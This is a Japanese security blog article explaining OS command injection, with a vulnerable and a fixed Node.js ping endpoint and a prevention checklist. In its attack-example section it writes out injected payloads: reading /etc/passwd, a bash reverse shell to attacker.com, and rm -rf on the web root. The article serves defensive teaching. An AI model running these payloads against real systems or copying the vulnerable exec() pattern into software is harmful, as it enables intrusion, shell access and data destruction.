OSコマンドインジェクション

OSコマンドインジェクション

OSコマンドインジェクション(Command Injection)は、ユーザーがアプリケーションを通じてサーバー上でシステムコマンドを実行できてしまう危険な脆弱性です。成功すれば、攻撃者はファイルの読み書き、ユーザー操作、外部通信、さらには完全なシステム支配すら可能にします。本記事では、その本質・実例・攻撃シナリオ・防止策を2000語レベルで詳しく解説します。

「ユーザーの入力が、サーバーで“実行”されてしまったら? それがOSコマンドインジェクションの怖さです。」

🧩 OSコマンドインジェクションとは?

OSコマンドインジェクション(Operating System Command Injection)とは、アプリケーションがユーザー入力を用いてシステムのシェルコマンドを実行する際に、意図しないコマンドを挿入・実行できてしまう脆弱性です。主にWebアプリケーションやCLIを伴うバックエンド処理などで発生します。

📍例:不適切に処理されたユーザー入力

GET /ping?host=google.com

// サーバー内で処理されると...
exec("ping " + user_input);

このとき、次のように入力されたら?

google.com; cat /etc/passwd

結果はこうなります:

ping google.com
cat /etc/passwd

これにより、サーバー上のパスワードファイルが攻撃者に表示されてしまいます。

🧠 ハッカーによる攻撃シナリオ

  1. 攻撃対象のWebアプリで「ping」や「nslookup」などを使う機能を探す
  2. 通常のホスト名を指定して動作確認
  3. 「;」「|」「&」などの構文を使ってコマンドを連結
  4. 情報漏洩を狙って `; cat /etc/passwd` を注入
  5. さらなる攻撃に移行(ファイル改ざん、リバースシェル展開など)

🔥 実際の攻撃例

🚨 1. ファイル閲覧攻撃

example.com/ping?host=127.0.0.1;cat%20/etc/passwd

🚨 2. リバースシェルの設置

127.0.0.1; bash -i >& /dev/tcp/attacker.com/4444 0>&1

🚨 3. ファイル削除攻撃

127.0.0.1; rm -rf /var/www/html

🔬 コード例:脆弱な vs 安全な

❌ 脆弱なコード(Node.js)

const { exec } = require('child_process');
app.get('/ping', (req, res) => {
  exec('ping ' + req.query.host, (err, stdout) => {
    res.send(stdout);
  });
});

✅ 安全なコード(引数分離)

const { execFile } = require('child_process');
app.get('/ping', (req, res) => {
  execFile('ping', ['-c', '3', req.query.host], (err, stdout) => {
    res.send(stdout);
  });
});

🛡️ 防止策

  • ✅ OSコマンドの直接使用を避ける
  • execFileやspawnなど、引数分離型のAPIを使用
  • ✅ ユーザー入力を厳格にフィルタリング(正規表現など)
  • ✅ サニタイズ(シェル文字・記号の除去)
  • ✅ 権限を分けたユーザーでアプリを実行(root禁止)
  • ✅ WAFやIDSでコマンド構文を検知・ブロック

「exec()関数は便利でも、それはセキュリティの代償になる。“入力”を“実行”する危険を忘れるな。」

📌 まとめ:一行の油断がシステム崩壊を招く

OSコマンドインジェクションは、他の脆弱性とは一線を画す深刻な攻撃です。攻撃者にコマンド実行を許すということは、サーバーの全権限を与えるのと同じ。便利だからと安易にexecやsystem関数を使ってしまうと、取り返しのつかない結果を招きます。

「信頼されないデータを、そのままOSコマンドに渡してはいけない。それはまさに“爆弾の起爆装置”です。」

✅ 今すぐ確認しよう:

  • □ exec, system, shell_exec など使っていないか?
  • □ コマンド引数を分離しているか?
  • □ サニタイズ・フィルタ処理を行っているか?
  • □ ログにユーザー入力が残っていないか?

たった一文字の「;」が、全てを壊す可能性がある。OSコマンドインジェクションに絶対の注意を。

Leave a Comment

Your email address will not be published. Required fields are marked *

Recent Post

開いているポート

Open Ports(開いているポート)によるセキュリティ脆弱性と対策 Open Ports(オープンポート)は、ネットワーク上でサービスが外部と通信を行うために必要なものですが、不要なポートが開いたまま放置されていると、攻撃者にとっての入口となってしまいます。これは多くのデータ漏洩やログイン脆弱性、同時セッションハイジャックの引き金となる重大なセキュリティ脆弱性です。 この記事では、Open Portsがなぜ危険なのか、どのように悪用されるか、そして具体的な対策について解説します。 実際の企業で起きたデータ漏洩事例 2023年、某中小企業の開発環境において、ポート9200で稼働していたElasticsearchがインターネットに公開されていました。適切な認証が設定されておらず、社員や顧客の個人情報20万件が第三者に取得される事態となりました。 攻撃者はShodanを使って開いているポートを検索し、未保護のElasticsearchに接続。数分でデータを抜き取ることができたと言われています。 このように、意図せず開放されたポートが、機密データの流出に繋がるケースは後を絶ちません。

誤設定されたCORS

Misconfigured CORS(誤設定されたCORS)によるセキュリティ脆弱性と対策 CORS(Cross-Origin Resource Sharing)は、異なるドメイン間で安全にリソースを共有するための仕組みですが、設定ミス(Misconfigured CORS)があると、重大なセキュリティ脆弱性となり、データ漏洩やセッションの乗っ取り、ログイン情報の窃取に繋がるリスクがあります。 本記事では、実際の事例、攻撃方法、危険性、そして正しい設定方法について、サイバーセキュリティや同時セッションの観点から詳しく解説します。 実際の企業で起きたCORSの設定ミスによるデータ漏洩 2022年、ある大手オンラインバンキング企業が、誤ってAccess-Control-Allow-Origin: *を本番APIに設定していたため、悪意あるサードパーティサイトからAPIを通じて顧客のアカウント情報や残高情報が取得されるという事件が発生しました。

安全でないHTTPヘッダー

Insecure HTTP Headers(安全でないHTTPヘッダー)によるセキュリティ脆弱性とその対策 Webアプリケーション開発や運用において、HTTPヘッダーの適切な設定は非常に重要です。しかし、多くの開発者がこのポイントを見落としており、セキュリティ脆弱性につながることがあります。「Insecure HTTP Headers(安全でないHTTPヘッダー)」は、クロスサイトスクリプティング(XSS)やクリックジャッキング、セッションハイジャックなどのリスクを高め、結果としてデータ漏洩やログイン脆弱性を引き起こす可能性があります。 実際の企業で発生したデータ漏洩の事例 ある中堅企業のWebアプリケーションでは、X-Frame-OptionsやContent-Security-Policyといったセキュリティ用HTTPヘッダーが一切設定されていませんでした。この隙を突かれ、攻撃者はクリックジャッキングを用いてユーザーのセッションを盗み、数万件の顧客情報が漏洩するという事件が発生しました。 HTTPヘッダーの不備により、攻撃者は正規ページをiframe内に読み込み、ユーザーの入力を誘導。管理者権限での操作を強制させる「UIリダイレクション攻撃」が成功しました。 このように、HTTPレスポンスヘッダーの未設定が直接的な原因となり、大きな損失を被ることがあります。

冗長なエラーメッセージ

Verbose Error Messages(冗長なエラーメッセージ)が招くセキュリティ脆弱性 開発段階では役に立つ情報も、公開環境では重大なセキュリティ脆弱性になることがあります。中でもVerbose Error Messages(冗長なエラーメッセージ)は、攻撃者にとって貴重な情報源となり、データ漏洩やログイン脆弱性の特定に繋がるリスクがあります。 本記事では、Verbose Error Messagesの危険性と、それがどのように攻撃に悪用され、どのように対策すべきかを具体的に解説します。 現実のシナリオ:エラー表示が招いた企業の機密漏洩

welcome our Blog

Scroll to Top